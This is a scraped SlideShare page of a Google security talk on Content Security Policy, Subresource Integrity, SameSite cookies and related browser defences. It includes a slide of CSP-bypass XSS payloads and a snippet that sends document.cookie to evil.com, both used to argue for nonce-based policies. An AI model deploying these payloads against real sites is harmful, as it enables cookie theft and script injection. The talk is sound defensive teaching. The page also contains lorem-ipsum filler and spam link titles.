SlideShare uma empresa Scribd logo
1 de 47
Baixar para ler offline
Defense-in-depth
techniques
for modern web applications
About Us
We work in a focus area of the Google security team
(ISE) aimed at improving product security by targeted
proactive projects to mitigate whole classes of bugs.
Michele Spagnuolo
Senior Information
Security Engineer
Lukas Weichselbaum
Senior Information
Security Engineer
Agenda
◉ Content Security Policy
◉ Subresource Integrity
◉ Same-Site Cookies
◉ Site Isolation, CORB & From-Origin
◉ Upcoming
○ Suborigins
○ Origin Policy
○ Feature Policy
Content Security Policy (CSP)
What is CSP?
◉ An HTTP header developers can use to lock
down their web applications in various ways.
◉ A defense-in-depth mechanism - it reduces
the harm that a malicious injection can cause,
but it is not a replacement for careful input
validation and output encoding.
CSP is NOT...
◉ A replacement for secure coding practices
◉ A mechanism to prevent data exfiltration
The Complex World of CSP
Lorem ipsum
porta dolor sit
amet nec
Lorem ipsum dolor sit
amet adipiscing. Donec
risus dolor, porta venenatis
neque pharetra luctus felis
vel tellus nec felis.
XSS
● Donec risus dolor porta
● Pharetra luctus felis
● Proin vel tellus in felis
● Molestie nec amet cum
Lorem ipsum
porta dolor sit
amet nec
Lorem ipsum dolor sit
amet adipiscing. Donec
risus dolor, porta venenatis
neque pharetra luctus felis
vel tellus nec felis.
28%
● Donec risus dolor porta
● Pharetra luctus felis
● Proin vel tellus in felis
● Molestie nec amet cum
Lorem ipsum
porta dolor sit
amet nec
Lorem ipsum dolor sit
amet adipiscing. Donec
risus dolor, porta venenatis
neque pharetra luctus felis
vel tellus nec felis.
36%
● Donec risus dolor porta
● Pharetra luctus felis
● Proin vel tellus in felis
● Molestie nec amet cum
Lorem ipsum
porta dolor sit
amet nec
Lorem ipsum dolor sit
amet adipiscing. Donec
risus dolor, porta venenatis
neque pharetra luctus felis
vel tellus nec felis.
17%
● Donec risus dolor porta
● Pharetra luctus felis
● Proin vel tellus in felis
● Molestie nec amet cum
Lorem ipsum
porta dolor sit
amet nec
Lorem ipsum dolor sit
amet adipiscing. Donec
risus dolor, porta venenatis
neque pharetra luctus felis
vel tellus nec felis.
61%
● Donec risus dolor porta
● Pharetra luctus felis
● Proin vel tellus in felis
● Molestie nec amet cum
Defense-in-depth
protection against
XSS
XSS
● Nonce-based CSP
● Hash-based CSP
● Whitelist-based CSP
Directives
- script-src
- object-src
- base-uri
Defense-in-depth
against UI-level
attacks
UI
Directives
- style-src
Force HTTPS and
block mixed-content
HTTPS
Directives
- upgrade-insecure-requests
- block-all-mixed-content
Block everything
BLOCK
Directives
- default-src 'none'
Restrict frame
ancestors and
framing
FRAME
Directives
- frame-ancestors
- frame-src
Lorem ipsum
porta dolor sit
amet nec
Lorem ipsum dolor sit
amet adipiscing. Donec
risus dolor, porta venenatis
neque pharetra luctus felis
vel tellus nec felis.
61%
● Donec risus dolor porta
● Pharetra luctus felis
● Proin vel tellus in felis
● Molestie nec amet cum
Prevent
data-exfiltration
DATA
Directives
- default-src
- *-src
CSP against XSS
◉ CSP is mostly used to mitigate XSS
◉ Most CSPs are based on whitelists
○ >94% automatically bypassable
◉ Introduced 'strict-dynamic' to ease adoption of
policies based on nonces
CSP against XSS
◉ Whitelist-based CSP (very weak)
○ script-src ajax.googleapis.com
◉ Nonce-based CSP
○ script-src 'nonce-r4nd0m'
◉ Hash-based CSP
○ script-src 'sha256-vbqjgmO/1eNbI...'
◉ Whitelist-based CSP
◉ Nonce-based CSP
◉ Hash-based CSP
CSP against XSS
Whitelist-Based CSP Example
Content-Security-Policy
default-src 'self';
script-src 'self' yep.com;
report-uri /csp_violation_logger;
money.example.com money.example.com
yep.com
<img src="cat.png">
<script
src="//yep.com/x.js">
CSP
allows
CSP
allows
Whitelist-Based CSP Example
Content-Security-Policy
default-src 'self';
script-src 'self' yep.com;
report-uri /csp_violation_logger;
money.example.com
money.example.co
m
yep.com
attacker.com
<img src="cat.png">
">'><script>alert(42)
</script>
money.example.com/csp_violations_logger
CSP
blocks
inline script
not allowed
<script
src="//yep.com/x.js">
">'><script
src="//attacker.com">
CSP
blocks
source not
whitelisted
CSP
allows
CSP
allows
Whitelist-based CSP is broken
"CSP Is Dead, Long Live CSP! On the Insecurity of
Whitelists and the Future of Content Security Policy"
Proceedings of the 23rd ACM Conference on Computer and
Communications Security, ACM, Vienna, Austria (2016)
CSP Bypasses
'unsafe-inline' in script-src
script-src 'self' 'unsafe-inline';
object-src 'none';
Bypass:
">'><script>alert(1337)</script>
URL scheme/wildcard in script-src
script-src 'self' https: data: *;
object-src 'none';
Bypass: ">'><script
src=data:text/javascript,alert(1337)
></script>
Missing or lax object-src
script-src 'none';
Bypass: ">'><object
type="application/x-shockwave-flash"
data='https://ajax.googleapis.com/aj
ax/libs/yui/2.8.0r4/build/charts/ass
ets/charts.swf?allowedDomain="})))}
catch(e){alert(1337)}//'>
<param name="AllowScriptAccess"
value="always"></object>
JSONP-like endpoint in whitelist
script-src 'self' whitelisted.com;
object-src 'none';
Bypass: ">'><script
src="https://whitelisted.com/jsonp?
callback=alert">
AngularJS library in whitelist
script-src 'self' whitelisted.com;
object-src 'none';
Bypass: "><script
src="https://whitelisted.com/angular
js/1.1.3/angular.min.js"></script><d
iv ng-app ng-csp id=p
ng-click=$event.view.alert(1337)>
Missing base-uri
script-src /foo.js;
Bypass: ">'><base
href="https://evil.com/">
CSP against XSS
◉ Whitelist-based CSP
◉ Nonce-based CSP
◉ Hash-based CSP
script-src 'nonce-r4nd0m';
object-src 'none'; base-uri 'none';
CSP based on nonces
▷ all <script> tags with the correct nonce attribute will get executed
▷ <script> tags injected via XSS will be blocked because of missing nonce
▷ no host/path whitelists
▷ no bypasses caused by JSONP-like endpoints on external domains
▷ no need to go through painful process of crafting/maintaining whitelist
This part needs to be random for every response!
Recap: How do CSP Nonces Work?
money.example.com
Content-Security-Policy:
yep.com
<script nonce="r4nd0m">
doStuff();</script>
<script nonce="r4nd0m"
src="//yep.com/x.js">
CSP
allows
CSP
allows
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
Recap: How do CSP Nonces Work?
money.example.com
attacker.com
">'><script>alert(42)
</script>
money.example.com/csp_violations
CSP
blocks
script without
correct nonce
">'><script
src="//attacker.com">
CSP
blocks
source neither nonced
nor whitelisted
Content-Security-Policy:
yep.com
<script nonce="r4nd0m">
doStuff();</script>
<script nonce="r4nd0m"
src="//yep.com/x.js">
CSP
allows
CSP
allows
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
Recap: How do CSP Nonces Work?
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
▷ grant trust transitively via a one-use token (nonce)
instead of listing whitelisted origins
▷ 'strict-dynamic' in a script-src:
○ discards whitelists (for backward-compatibility)
○ allows JS execution when created via e.g.
document.createElement('script')
Recap: What is 'strict-dynamic'?
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
<script nonce="r4nd0m">
var s = document.createElement("script");
s.src = "//example.com/bar.js";
document.body.appendChild(s);
</script>
<script nonce="r4nd0m">
var s = "<script ";
s += "src=//example.com/bar.js></script>";
document.write(s);
</script>
<script nonce="r4nd0m">
var s = "<script ";
s += "src=//example.com/bar.js></script>";
document.body.innerHTML = s;
</script>
Recap: What is 'strict-dynamic'?
Nonce based CSP + strict-dynamic + unsafe-eval | Level 1
Nonce/Hash based CSP | Level 3
Nonce based CSP + strict-dynamic | Level 2
Step by step towards a stricter CSP
Security
Guarantees
Deployment
Difficulty
Whitelist
based
+ secure in absence of browser bugs
+ eval() based XSS mitigated
+ no CSP whitelist bypasses
+ reflected/stored XSS mitigated
+ javascript: URI XSS mitigated
+ easy to deploy w. auto-noncing templates
 most DOM XSS mitigated
Nonce based CSP + strict-dynamic + unsafe-eval | Level 1
Nonce/Hash based CSP | Level 3
Nonce based CSP + strict-dynamic | Level 2
Step by step towards a stricter CSP
Security
Guarantees
Deployment
Difficulty
script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-eval'
object-src 'none'; base-uri 'none';
script-src 'nonce-r4nd0m' 'strict-dynamic'
object-src 'none'; base-uri 'none';
script-src 'nonce-r4nd0m'
object-src 'none'; base-uri 'none';
Whitelist
based
New features in CSP 3
unsafe-hashed-attributes
Aims to make CSP deployment simpler by allowing
developers to enable specific inline JS handlers
via hashes.
<button id="action" onclick="doSubmit()">
script-src 'unsafe-hashed-attributes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
New features in CSP 3
unsafe-inline-attributes (proposal)
Aims to block attacks using <style> blocks like the
CSS-keylogger*
The ‘unsafe-inline-attributes’ keyword behaves
similarly to ‘unsafe-inline’ but only for attributes.
<button id="action" style="color:green">
style-src 'unsafe-inline-attributes' 'nonce-rAnd0m'
* https://github.com/maxchehab/CSS-Keylogging
Why not use CSP to prevent data exfiltration?
◉ TL;DR - Game over once attacker can execute JS
◉ Too many ways to exfiltrate data
◉ E.g. links are not subject to CSP:
document.write("<a id='foo'
href='//evil.com/"+document.cookie+"'></a>");
document.getElementById("foo").click();
◉ Other examples:
postMessage, DNS prefetch, window.open 

CSP at Google
CSP adoption at Google
● Currently CSP is enforced on
○ over 50% of outgoing traffic
○ > 30 domains with 100% coverage
○ most sensitive web applications (Login, Gmail, Docs, ...)
● Goal
○ Enforced in all new & sensitive applications
○ Nonce only CSPs (no unsafe-eval, no strict-dynamic) for sensitive applications
Google-wide strict CSP coverage
CSP Tools and Infrastructure
csp-evaluator.withgoogle.com
CSP Tools and Infrastructure
Subresource Integrity (SRI)
https://www.w3.org/TR/SRI/
What is SRI?
Ensures that resources hosted on third-party
servers have not been tampered with by
specifying a hash of their expected content.
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
Browser support for SRI
Same-Site Cookies
What are Same-Site Cookies?
The SameSite flag in cookies allows servers to
mitigate the risk of XSRF and information leakage
attacks by asserting that a particular cookie
should only be sent with requests initiated from
the same site.
What are Same-Site Cookies?
Set-Cookie: <cookie-name>=<cookie-value>;
SameSite={Strict, Lax}
Strict
Cookies are not sent when there is cross-site navigation
Lax
Cookies are not sent when there is cross-site navigation
and an "unsafe" HTTP method such as POST
Browser support for Same-Site Cookies
Site Isolation, CORB & From-Origin
What is Site Isolation?
A Chromium browser setting ensuring that pages
from different websites are put into different
processes and blocking the process from
receiving sensitive data from other sites.
What is CORB?
(was XSDB)
An important part of Site Isolation restricting
which cross-origin data is sent to a renderer
process, limiting the access to such data using
speculative side-channel attacks like Spectre.
Example: loading cross-origin HTML in <img>.
What is From-Origin?
(proposal)
Prevents resources from being loaded and
included by non-whitelisted origins.
Mitigates inline linking and attacks such as
Spectre.
Upcoming Mitigations
Suborigins
(proposal)
Isolate different applications running in the same
origin by adding to a response a server-specified
namespace to the origin tuple:
(scheme, host, port, namespace)
https://w3c.github.io/webappsec-suborigins/
Use cases of Suborigins
◉ Per-user origins
◉ Segregating user content from the main origin
◉ Isolate sensitive functionalities
○ /wp-admin/
○ /password_reset
Adopting Suborigins
Communication type Solution
Suborigin to Suborigin Add Suborigin header
Suborigin to Origin Add Access-Control-Allow-Suborigin
Suborigin to Extern Fix Access-Control-Allow-Origin
DEMO
Origin Policy
(proposal)
Applies:
● Content Security Policy
● Referrer Policy
● other policies
to an entire origin, by default (like "pinning").
It complements header-based delivery, increasing
coverage.
Feature Policy
(proposal)
Selectively enables and disables different browser
features and web APIs (from the ability to go
fullscreen to disabling WebUSB).
Example: in combination with Origin Policy, restrict
geolocation API to a particular page, reducing
attack surface in case of XSS on the domain.
Questions?
You can find us at:
{lwe,mikispag}@google.com
@we1x, @mikispag

Mais conteĂșdo relacionado

Mais procurados

Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptFrancois Marier
 
Tsc summit #2 - HTTP Header Security
Tsc summit #2  - HTTP Header SecurityTsc summit #2  - HTTP Header Security
Tsc summit #2 - HTTP Header SecurityMikal Villa
 
Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptFrancois Marier
 
Developer's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web CryptographyDeveloper's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web CryptographyKevin Hakanson
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Cryptography In The Browser Using JavaScript
Cryptography In The Browser Using JavaScriptCryptography In The Browser Using JavaScript
Cryptography In The Browser Using JavaScriptbarysteyn
 
W3C Content Security Policy
W3C Content Security PolicyW3C Content Security Policy
W3C Content Security PolicyMarkus Wichmann
 
Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)
Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)
Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)Ömer Çıtak
 
Security and Privacy on the Web in 2016
Security and Privacy on the Web in 2016Security and Privacy on the Web in 2016
Security and Privacy on the Web in 2016Francois Marier
 
Getting Single Page Application Security Right
Getting Single Page Application Security RightGetting Single Page Application Security Right
Getting Single Page Application Security RightPhilippe De Ryck
 
Security and Privacy on the Web in 2015
Security and Privacy on the Web in 2015Security and Privacy on the Web in 2015
Security and Privacy on the Web in 2015Francois Marier
 
Techorama 2019 - Azure Security Center Unleashed
Techorama 2019 - Azure Security Center UnleashedTechorama 2019 - Azure Security Center Unleashed
Techorama 2019 - Azure Security Center UnleashedTom Janetscheck
 
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolfDefeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolfdrewz lin
 
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control planeMicrosoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control planeTom Janetscheck
 
Experts Live Norway - Azure Infrastructure Security
Experts Live Norway - Azure Infrastructure SecurityExperts Live Norway - Azure Infrastructure Security
Experts Live Norway - Azure Infrastructure SecurityTom Janetscheck
 
Content Security Policy - The application security Swiss Army Knife
Content Security Policy - The application security Swiss Army KnifeContent Security Policy - The application security Swiss Army Knife
Content Security Policy - The application security Swiss Army KnifeScott Helme
 
Phu appsec13
Phu appsec13Phu appsec13
Phu appsec13drewz lin
 

Mais procurados (20)

Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScript
 
Tsc summit #2 - HTTP Header Security
Tsc summit #2  - HTTP Header SecurityTsc summit #2  - HTTP Header Security
Tsc summit #2 - HTTP Header Security
 
Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScript
 
BĂŒnyamin Demir - 10 Adımda Yazılım GĂŒvenliği
BĂŒnyamin Demir - 10 Adımda Yazılım GĂŒvenliğiBĂŒnyamin Demir - 10 Adımda Yazılım GĂŒvenliği
BĂŒnyamin Demir - 10 Adımda Yazılım GĂŒvenliği
 
Developer's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web CryptographyDeveloper's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web Cryptography
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Cryptography In The Browser Using JavaScript
Cryptography In The Browser Using JavaScriptCryptography In The Browser Using JavaScript
Cryptography In The Browser Using JavaScript
 
W3C Content Security Policy
W3C Content Security PolicyW3C Content Security Policy
W3C Content Security Policy
 
Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)
Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)
Web Uygulama GĂŒvenliği (Akademik BiliƟim 2016)
 
Security and Privacy on the Web in 2016
Security and Privacy on the Web in 2016Security and Privacy on the Web in 2016
Security and Privacy on the Web in 2016
 
VolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSPVolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSP
 
Getting Single Page Application Security Right
Getting Single Page Application Security RightGetting Single Page Application Security Right
Getting Single Page Application Security Right
 
Security and Privacy on the Web in 2015
Security and Privacy on the Web in 2015Security and Privacy on the Web in 2015
Security and Privacy on the Web in 2015
 
Web Security - CSP & Web Cryptography
Web Security - CSP & Web CryptographyWeb Security - CSP & Web Cryptography
Web Security - CSP & Web Cryptography
 
Techorama 2019 - Azure Security Center Unleashed
Techorama 2019 - Azure Security Center UnleashedTechorama 2019 - Azure Security Center Unleashed
Techorama 2019 - Azure Security Center Unleashed
 
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolfDefeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
 
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control planeMicrosoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
 
Experts Live Norway - Azure Infrastructure Security
Experts Live Norway - Azure Infrastructure SecurityExperts Live Norway - Azure Infrastructure Security
Experts Live Norway - Azure Infrastructure Security
 
Content Security Policy - The application security Swiss Army Knife
Content Security Policy - The application security Swiss Army KnifeContent Security Policy - The application security Swiss Army Knife
Content Security Policy - The application security Swiss Army Knife
 
Phu appsec13
Phu appsec13Phu appsec13
Phu appsec13
 

Semelhante a CONFidence 2018: Defense-in-depth techniques for modern web applications and Google's journey with CSP (Lukas Weichselbaum, Michele Spagnuolo)

HTTP_Header_Security.pdf
HTTP_Header_Security.pdfHTTP_Header_Security.pdf
HTTP_Header_Security.pdfksudhakarreddy5
 
Content Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at YahooContent Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at YahooBinu Ramakrishnan
 
Rails security: above and beyond the defaults
Rails security: above and beyond the defaultsRails security: above and beyond the defaults
Rails security: above and beyond the defaultsMatias Korhonen
 
Content-Security-Policy 2018.0
Content-Security-Policy 2018.0Content-Security-Policy 2018.0
Content-Security-Policy 2018.0Philippe Gamache
 
Rails and Content Security Policies
Rails and Content Security PoliciesRails and Content Security Policies
Rails and Content Security PoliciesMatias Korhonen
 
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to usCONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to usPROIDEA
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoAditya K Sood
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
How to secure web applications
How to secure web applicationsHow to secure web applications
How to secure web applicationsMohammed A. Imran
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxFernandoVizer
 
Java script and web cryptography (cf.objective)
Java script and web cryptography (cf.objective)Java script and web cryptography (cf.objective)
Java script and web cryptography (cf.objective)ColdFusionConference
 

Semelhante a CONFidence 2018: Defense-in-depth techniques for modern web applications and Google's journey with CSP (Lukas Weichselbaum, Michele Spagnuolo) (20)

Breaking Bad CSP
Breaking Bad CSPBreaking Bad CSP
Breaking Bad CSP
 
HTTP_Header_Security.pdf
HTTP_Header_Security.pdfHTTP_Header_Security.pdf
HTTP_Header_Security.pdf
 
Content Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at YahooContent Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at Yahoo
 
Rails security: above and beyond the defaults
Rails security: above and beyond the defaultsRails security: above and beyond the defaults
Rails security: above and beyond the defaults
 
Content-Security-Policy 2018.0
Content-Security-Policy 2018.0Content-Security-Policy 2018.0
Content-Security-Policy 2018.0
 
Rails and Content Security Policies
Rails and Content Security PoliciesRails and Content Security Policies
Rails and Content Security Policies
 
Brakeman
BrakemanBrakeman
Brakeman
 
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to usCONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to us
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Web vulnerabilities
Web vulnerabilitiesWeb vulnerabilities
Web vulnerabilities
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
How to secure web applications
How to secure web applicationsHow to secure web applications
How to secure web applications
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Java script and web cryptography (cf.objective)
Java script and web cryptography (cf.objective)Java script and web cryptography (cf.objective)
Java script and web cryptography (cf.objective)
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 
The Art of Executing JavaScript by Akhil Mahendra
The Art of Executing JavaScript by Akhil MahendraThe Art of Executing JavaScript by Akhil Mahendra
The Art of Executing JavaScript by Akhil Mahendra
 

Último

08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024The Digital Insurer
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 

Último (20)

08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
